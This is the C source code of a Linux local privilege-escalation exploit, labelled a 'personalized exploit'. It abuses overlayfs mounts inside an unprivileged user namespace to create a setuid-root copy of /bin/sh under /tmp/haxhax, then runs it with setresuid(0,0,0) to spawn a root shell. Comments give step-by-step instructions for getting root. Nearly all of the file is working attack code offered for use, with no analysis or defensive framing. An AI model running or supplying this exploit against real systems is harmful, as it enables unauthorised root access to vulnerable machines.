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overlayfs
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#include <stdio.h> | |
#include <sched.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <sched.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/mount.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <sched.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/mount.h> | |
#include <sys/types.h> | |
#include <signal.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <linux/sched.h> | |
#include <sys/wait.h> | |
// This is a personalized exploit | |
// After running check the /tmp/haxhax/u/ | |
// Running the exploit. No matter what error it throws, run : | |
// $ /tmp/haxhax/u/dash | |
// # whoami | |
// # root | |
// Thats it | |
static char child_stack[1024*1024]; | |
static int | |
child_exec(void *stuff) | |
{ | |
fprintf(stderr, " * Creating files in /tmp/haxhax files \n"); | |
system("rm -rf /tmp/haxhax"); | |
mkdir("/tmp/haxhax", 0777); | |
mkdir("/tmp/haxhax/w", 0777); | |
mkdir("/tmp/haxhax/u",0777); | |
mkdir("/tmp/haxhax/o",0777); | |
fprintf(stderr, " * Mounting overlayfs\n"); | |
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { | |
fprintf(stderr,"mount failed..\n"); | |
} | |
chmod("/tmp/haxhax/w/work",0777); | |
chdir("/tmp/haxhax/o"); | |
chmod("sh",04755); | |
chdir("/"); | |
umount("/tmp/haxhax/o"); | |
return 0; | |
} | |
int | |
main(int argc, char **argv) | |
{ | |
int status; | |
pid_t wrapper, init; | |
int clone_flags = CLONE_NEWNS | SIGCHLD; | |
struct stat s; | |
if((wrapper = fork()) == 0) { | |
if(unshare(CLONE_NEWUSER) != 0) | |
fprintf(stderr, "failed to create new user namespace\n"); | |
if((init = fork()) == 0) { | |
pid_t pid = | |
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); | |
if(pid < 0) { | |
fprintf(stderr, "failed to create new mount namespace\n"); | |
exit(-1); | |
} | |
waitpid(pid, &status, 0); | |
} | |
waitpid(init, &status, 0); | |
return 0; | |
} | |
fprintf(stderr, " * Se pare ca a putut sa faca new mount namespace"); | |
wait(NULL); | |
stat("/tmp/haxhax/u/sh",&s); | |
if(s.st_mode == 0x89ed) | |
execl("/tmp/haxhax/u/sh","sh","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('sh','sh');\"",NULL); | |
fprintf(stderr,"couldn't create suid :(\n"); | |
return -1; | |
} | |
///tmp/haxhax/u/dash,"sh","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('sh','sh');\"",NULL); |
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